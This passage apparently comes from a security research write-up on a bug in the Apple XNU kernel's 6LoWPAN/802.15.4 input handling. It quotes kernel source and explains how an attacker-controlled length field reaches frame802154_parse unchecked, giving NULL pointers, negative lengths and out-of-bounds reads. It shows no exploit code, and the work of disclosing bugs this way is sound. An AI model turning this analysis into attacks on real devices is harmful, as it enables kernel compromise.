	<span class="kt">int</span>     <span class="n">error</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">ifnet_attach_proto_param</span> <span class="n">reg</span><span class="p">;</span>

	<span class="n">bzero</span><span class="p">(</span><span class="o">&amp;</span><span class="n">reg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">reg</span><span class="p">));</span>
	<span class="n">reg</span><span class="p">.</span><span class="n">input</span>            <span class="o">=</span> <span class="n">sixlowpan_input</span><span class="p">;</span>
	<span class="n">reg</span><span class="p">.</span><span class="n">detached</span>         <span class="o">=</span> <span class="n">sixlowpan_detached</span><span class="p">;</span>
	<span class="n">error</span> <span class="o">=</span> <span class="n">ifnet_attach_protocol</span><span class="p">(</span><span class="n">ifp</span><span class="p">,</span> <span class="n">PF_802154</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">reg</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"%s(%s%d) ifnet_attach_protocol failed, %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
		    <span class="n">__func__</span><span class="p">,</span> <span class="n">ifnet_name</span><span class="p">(</span><span class="n">ifp</span><span class="p">),</span> <span class="n">ifnet_unit</span><span class="p">(</span><span class="n">ifp</span><span class="p">),</span> <span class="n">error</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">error</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="vulnerability-details">Vulnerability Details</h1>

<p>OK, now that we finally have the background information out of way, I will describe the vulnerability found. The <code class="language-plaintext highlighter-rouge">sixlowpan_input</code> function is called to decapsulate the 802.15.4 Data Frame as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * 6lowpan input routine.
 * Decapsulate the 802.15.4 Data Frame
 * Header decompression on the payload
 * Pass the mbuf to the IPV6 protocol stack using proto_input()
 */</span>
<span class="k">static</span> <span class="kt">int</span>
<span class="nf">sixlowpan_input</span><span class="p">(</span><span class="n">ifnet_t</span> <span class="n">p</span><span class="p">,</span> <span class="n">__unused</span> <span class="n">protocol_family_t</span> <span class="n">protocol</span><span class="p">,</span>
    <span class="n">mbuf_t</span> <span class="n">m</span><span class="p">,</span> <span class="n">__unused</span> <span class="kt">char</span> <span class="o">*</span><span class="n">frame_header</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">frame802154_t</span>      <span class="n">ieee02154hdr</span><span class="p">;</span>
	<span class="n">u_int8_t</span>           <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">if6lpan_ref</span>        <span class="n">ifl</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">bpf_packet_func</span>    <span class="n">bpf_func</span><span class="p">;</span>
	<span class="n">mbuf_t</span> <span class="n">mc</span><span class="p">,</span> <span class="n">m_temp</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">off</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">u_int16_t</span> <span class="n">len</span><span class="p">;</span>

	<span class="cm">/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */</span>
	<span class="n">mc</span> <span class="o">=</span> <span class="n">m_getcl</span><span class="p">(</span><span class="n">M_WAITOK</span><span class="p">,</span> <span class="n">MT_DATA</span><span class="p">,</span> <span class="n">M_PKTHDR</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">mc</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
		<span class="k">goto</span> <span class="n">err_out</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="n">mtod</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">u_int8_t</span> <span class="o">*</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">u_int16_t</span><span class="p">));</span>
	<span class="n">len</span> <span class="o">=</span> <span class="n">ntohs</span><span class="p">(</span><span class="n">len</span><span class="p">);</span>         			<span class="c1">// This is the size read from the frame on the wire. </span>
	<span class="n">m_adj</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">u_int16_t</span><span class="p">));</span>
	<span class="cm">/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */</span>
	<span class="k">for</span> <span class="p">(</span><span class="n">m_temp</span> <span class="o">=</span> <span class="n">m</span><span class="p">,</span> <span class="n">off</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">m_temp</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">m_temp</span> <span class="o">=</span> <span class="n">m_temp</span><span class="o">-&gt;</span><span class="n">m_next</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">m_temp</span><span class="o">-&gt;</span><span class="n">m_len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">m_copyback</span><span class="p">(</span><span class="n">mc</span><span class="p">,</span> <span class="n">off</span><span class="p">,</span> <span class="n">m_temp</span><span class="o">-&gt;</span><span class="n">m_len</span><span class="p">,</span> <span class="n">mtod</span><span class="p">(</span><span class="n">m_temp</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="p">));</span>
			<span class="n">off</span> <span class="o">+=</span> <span class="n">m_temp</span><span class="o">-&gt;</span><span class="n">m_len</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="n">p</span> <span class="o">=</span> <span class="n">p_6lowpan_ifnet</span><span class="p">;</span>
	<span class="n">mc</span><span class="o">-&gt;</span><span class="n">m_pkthdr</span><span class="p">.</span><span class="n">rcvif</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>

	<span class="n">sixlowpan_lock</span><span class="p">();</span>
	<span class="n">ifl</span> <span class="o">=</span> <span class="n">ifnet_get_if6lpan_retained</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">ifl</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">sixlowpan_unlock</span><span class="p">();</span>
		<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
		<span class="k">goto</span> <span class="n">err_out</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">if6lpan_flags_ready</span><span class="p">(</span><span class="n">ifl</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">if6lpan_release</span><span class="p">(</span><span class="n">ifl</span><span class="p">);</span>
		<span class="n">sixlowpan_unlock</span><span class="p">();</span>
		<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
		<span class="k">goto</span> <span class="n">err_out</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">bpf_func</span> <span class="o">=</span> <span class="n">ifl</span><span class="o">-&gt;</span><span class="n">if6lpan_bpf_input</span><span class="p">;</span>
	<span class="n">sixlowpan_unlock</span><span class="p">();</span>
	<span class="n">if6lpan_release</span><span class="p">(</span><span class="n">ifl</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">bpf_func</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">bpf_func</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">mc</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="cm">/* Parse the 802.15.4 frame header */</span>
	<span class="n">bzero</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ieee02154hdr</span><span class="p">));</span>
	<span class="n">frame802154_parse</span><span class="p">(</span><span class="n">mtod</span><span class="p">(</span><span class="n">mc</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="p">),</span> <span class="n">len</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">payload</span><span class="p">);</span>

	<span class="cm">/* XXX Add check for your link layer address being dest */</span>
	<span class="n">sixxlowpan_input</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="n">payload</span><span class="p">);</span>
</code></pre></div></div>

<p>Firstly, m_getcl allocates an mbuf cluster <code class="language-plaintext highlighter-rouge">mc</code> for the incoming 802.15.4 frame and uncompressed payload.</p>

<p>Cluster mbuf’s are 2048 bytes in size <code class="language-plaintext highlighter-rouge">MCLBYTES</code>. Data larger than this is copied into multiple mbuf’s chained together.</p>

<p>As you can see here, <code class="language-plaintext highlighter-rouge">len</code> is read from the incoming mbuf <code class="language-plaintext highlighter-rouge">m</code> and is fully attacker controlled.</p>

<p>m_adj is then used to trim these 2 bytes from the head of the mbuf chain.</p>

<p>The compressed 802.15.4 payload is then copied from source mbuf <code class="language-plaintext highlighter-rouge">m</code> to allocated cluster mbuf <code class="language-plaintext highlighter-rouge">mc</code>.</p>

<p>The data pointer to the cluster mbuf is then passed to <code class="language-plaintext highlighter-rouge">frame802154_parse</code> together with the attacker controlled <code class="language-plaintext highlighter-rouge">len</code> value.</p>

<p>This has some obvious problems such as what if the data within the mbuf is less than the length of the frame within <code class="language-plaintext highlighter-rouge">mc</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*----------------------------------------------------------------------------*/</span>
<span class="cm">/**
 *   \brief Parses an input frame.  Scans the input frame to find each
 *   section, and stores the information of each section in a
 *   frame802154_t structure.
 *
 *   \param data The input data from the radio chip.
 *   \param len The size of the input data
 *   \param pf The frame802154_t struct to store the parsed frame information.
 */</span>
<span class="kt">int</span>
<span class="nf">frame802154_parse</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="n">frame802154_t</span> <span class="o">*</span><span class="n">pf</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">**</span><span class="n">payload</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
	<span class="n">frame802154_fcf_t</span> <span class="n">fcf</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">c</span><span class="p">;</span>
<span class="cp">#if LLSEC802154_USES_EXPLICIT_KEYS
</span>	<span class="kt">uint8_t</span> <span class="n">key_id_mode</span><span class="p">;</span>
<span class="cp">#endif </span><span class="cm">/* LLSEC802154_USES_EXPLICIT_KEYS */</span><span class="cp">
</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">p</span> <span class="o">=</span> <span class="n">data</span><span class="p">;</span>

	<span class="cm">/* decode the FCF */</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">frame_type</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mi">7</span><span class="p">;</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">security_enabled</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">frame_pending</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">ack_required</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">panid_compression</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">;</span>

	<span class="n">fcf</span><span class="p">.</span><span class="n">dest_addr_mode</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">;</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">frame_version</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">;</span>
	<span class="n">fcf</span><span class="p">.</span><span class="n">src_addr_mode</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">;</span>

	<span class="cm">/* copy fcf and seqNum */</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">fcf</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">fcf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">frame802154_fcf_t</span><span class="p">));</span>
	<span class="n">pf</span><span class="o">-&gt;</span><span class="n">seq</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
	<span class="n">p</span> <span class="o">+=</span> <span class="mi">3</span><span class="p">;</span>                             <span class="cm">/* Skip first three bytes */</span>

	<span class="cm">/* Destination address, if any */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">dest_addr_mode</span><span class="p">)</span> <span class="p">{</span>
		<span class="cm">/* Destination PAN */</span>
		<span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_pid</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
		<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>

		<span class="cm">/* Destination address */</span>
		<span class="cm">/*     l = addr_len(fcf.dest_addr_mode); */</span>
		<span class="cm">/*     for(c = 0; c &lt; l; c++) { */</span>
		<span class="cm">/*       pf-&gt;dest_addr.u8[c] = p[l - c - 1]; */</span>
		<span class="cm">/*     } */</span>
		<span class="cm">/*     p += l; */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">dest_addr_mode</span> <span class="o">==</span> <span class="n">FRAME802154_SHORTADDRMODE</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">linkaddr_copy</span><span class="p">((</span><span class="n">linkaddr_t</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="o">&amp;</span><span class="p">(</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_addr</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">linkaddr_null</span><span class="p">);</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_addr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">dest_addr_mode</span> <span class="o">==</span> <span class="n">FRAME802154_LONGADDRMODE</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">for</span> <span class="p">(</span><span class="n">c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">c</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">c</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_addr</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">7</span> <span class="o">-</span> <span class="n">c</span><span class="p">];</span>
			<span class="p">}</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="n">linkaddr_copy</span><span class="p">((</span><span class="n">linkaddr_t</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="o">&amp;</span><span class="p">(</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_addr</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">linkaddr_null</span><span class="p">);</span>
		<span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_pid</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="cm">/* Source address, if any */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">src_addr_mode</span><span class="p">)</span> <span class="p">{</span>
		<span class="cm">/* Source PAN */</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">fcf</span><span class="p">.</span><span class="n">panid_compression</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_pid</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_pid</span> <span class="o">=</span> <span class="n">pf</span><span class="o">-&gt;</span><span class="n">dest_pid</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="cm">/* Source address */</span>
		<span class="cm">/*     l = addr_len(fcf.src_addr_mode); */</span>
		<span class="cm">/*     for(c = 0; c &lt; l; c++) { */</span>
		<span class="cm">/*       pf-&gt;src_addr.u8[c] = p[l - c - 1]; */</span>
		<span class="cm">/*     } */</span>
		<span class="cm">/*     p += l; */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">src_addr_mode</span> <span class="o">==</span> <span class="n">FRAME802154_SHORTADDRMODE</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">linkaddr_copy</span><span class="p">((</span><span class="n">linkaddr_t</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="o">&amp;</span><span class="p">(</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_addr</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">linkaddr_null</span><span class="p">);</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_addr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_addr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">src_addr_mode</span> <span class="o">==</span> <span class="n">FRAME802154_LONGADDRMODE</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">for</span> <span class="p">(</span><span class="n">c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">c</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">c</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_addr</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">7</span> <span class="o">-</span> <span class="n">c</span><span class="p">];</span>
			<span class="p">}</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="n">linkaddr_copy</span><span class="p">((</span><span class="n">linkaddr_t</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="o">&amp;</span><span class="p">(</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_addr</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">linkaddr_null</span><span class="p">);</span>
		<span class="n">pf</span><span class="o">-&gt;</span><span class="n">src_pid</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

<span class="cp">#if LLSEC802154_SECURITY_LEVEL
</span>	<span class="k">if</span> <span class="p">(</span><span class="n">fcf</span><span class="p">.</span><span class="n">security_enabled</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">pf</span><span class="o">-&gt;</span><span class="n">aux_hdr</span><span class="p">.</span><span class="n">security_control</span><span class="p">.</span><span class="n">security_level</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mi">7</span><span class="p">;</span>
<span class="cp">#if LLSEC802154_USES_EXPLICIT_KEYS
</span>		<span class="n">pf</span><span class="o">-&gt;</span><span class="n">aux_hdr</span><span class="p">.</span><span class="n">security_control</span><span class="p">.</span><span class="n">key_id_mode</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">;</span>
<span class="cp">#endif </span><span class="cm">/* LLSEC802154_USES_EXPLICIT_KEYS */</span><span class="cp">
</span>		<span class="n">p</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>

		<span class="n">memcpy</span><span class="p">(</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">aux_hdr</span><span class="p">.</span><span class="n">frame_counter</span><span class="p">.</span><span class="n">u8</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
		<span class="n">p</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>

<span class="cp">#if LLSEC802154_USES_EXPLICIT_KEYS
</span>		<span class="n">key_id_mode</span> <span class="o">=</span> <span class="n">pf</span><span class="o">-&gt;</span><span class="n">aux_hdr</span><span class="p">.</span><span class="n">security_control</span><span class="p">.</span><span class="n">key_id_mode</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">key_id_mode</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">key_id_mode</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span><span class="p">;</span>
			<span class="n">memcpy</span><span class="p">(</span><span class="n">pf</span><span class="o">-&gt;</span><span class="n">aux_hdr</span><span class="p">.</span><span class="n">key_source</span><span class="p">.</span><span class="n">u8</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="n">c</span><span class="p">;</span>
			<span class="n">pf</span><span class="o">-&gt;</span><span class="n">aux_hdr</span><span class="p">.</span><span class="n">key_index</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
			<span class="n">p</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
		<span class="p">}</span>
<span class="cp">#endif </span><span class="cm">/* LLSEC802154_USES_EXPLICIT_KEYS */</span><span class="cp">
</span>	<span class="p">}</span>
<span class="cp">#endif </span><span class="cm">/* LLSEC802154_SECURITY_LEVEL */</span><span class="cp">
</span>
	<span class="cm">/* header length */</span>
	<span class="n">c</span> <span class="o">=</span> <span class="n">p</span> <span class="o">-</span> <span class="n">data</span><span class="p">;</span>
	<span class="cm">/* payload length */</span>
	<span class="n">pf</span><span class="o">-&gt;</span><span class="n">payload_len</span> <span class="o">=</span> <span class="p">(</span><span class="n">len</span> <span class="o">-</span> <span class="n">c</span><span class="p">);</span>
	<span class="cm">/* payload */</span>
	<span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>

	<span class="cm">/* return header length if successful */</span>
	<span class="k">return</span> <span class="n">c</span> <span class="o">&gt;</span> <span class="n">len</span> <span class="o">?</span> <span class="mi">0</span> <span class="o">:</span> <span class="n">c</span><span class="p">;</span>
<span class="p">}</span>


<span class="cm">/** \brief Parameters used by the frame802154_create() function.  These
 *  parameters are used in the 802.15.4 frame header.  See the 802.15.4
 *  specification for details.
 */</span>
<span class="k">struct</span> <span class="n">frame802154</span> <span class="p">{</span>
	<span class="cm">/* The fields dest_addr and src_addr must come first to ensure they are aligned to the
	 * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use
	 * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */</span>
	<span class="kt">uint8_t</span> <span class="n">dest_addr</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>           <span class="cm">/**&lt; Destination address */</span>
	<span class="kt">uint8_t</span> <span class="n">src_addr</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>            <span class="cm">/**&lt; Source address */</span>
	<span class="n">frame802154_fcf_t</span> <span class="n">fcf</span><span class="p">;</span>          <span class="cm">/**&lt; Frame control field  */</span>
	<span class="kt">uint8_t</span> <span class="n">seq</span><span class="p">;</span>                    <span class="cm">/**&lt; Sequence number */</span>
	<span class="kt">uint16_t</span> <span class="n">dest_pid</span><span class="p">;</span>              <span class="cm">/**&lt; Destination PAN ID */</span>
	<span class="kt">uint16_t</span> <span class="n">src_pid</span><span class="p">;</span>               <span class="cm">/**&lt; Source PAN ID */</span>
	<span class="n">frame802154_aux_hdr_t</span> <span class="n">aux_hdr</span><span class="p">;</span>  <span class="cm">/**&lt; Aux security header */</span>
	<span class="c1">//uint8_t *payload;               /**&lt; Pointer to 802.15.4 payload */</span>
	<span class="kt">int</span> <span class="n">payload_len</span><span class="p">;</span>                <span class="cm">/**&lt; Length of payload field */</span>
<span class="p">};</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">frame802154</span> <span class="n">frame802154_t</span><span class="p">;</span>
</code></pre></div></div>

<p>There are some key observations to make about this function and caller:</p>

<ul>
  <li>If len &lt; 3, then the function will return 0 and not initialize the payload pointer (i.e. will be a NULL pointer).</li>
  <li>The return value of <code class="language-plaintext highlighter-rouge">frame802154_parse</code> is not checked. This could therefore lead to situtations where header length &gt; payload.</li>
  <li>As we can control <code class="language-plaintext highlighter-rouge">len</code> between the values of 0-0xffff, we can make either pf-&gt;payload_len negative (to -header_len), smaller than the expected size or larger than the size of the input data itself in <code class="language-plaintext highlighter-rouge">mc</code>.</li>
</ul>

<p>So what happens in these cases?</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">errno_t</span>
<span class="nf">sixxlowpan_input</span><span class="p">(</span><span class="k">struct</span> <span class="n">frame802154</span> <span class="o">*</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="n">u_int8_t</span> <span class="o">*</span><span class="n">payload</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">errno_t</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">error</span> <span class="o">=</span> <span class="n">sixxlowpan_uncompress</span><span class="p">(</span><span class="n">ieee02154hdr</span><span class="p">,</span> <span class="n">payload</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">error</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">goto</span> <span class="n">done</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="cm">/*
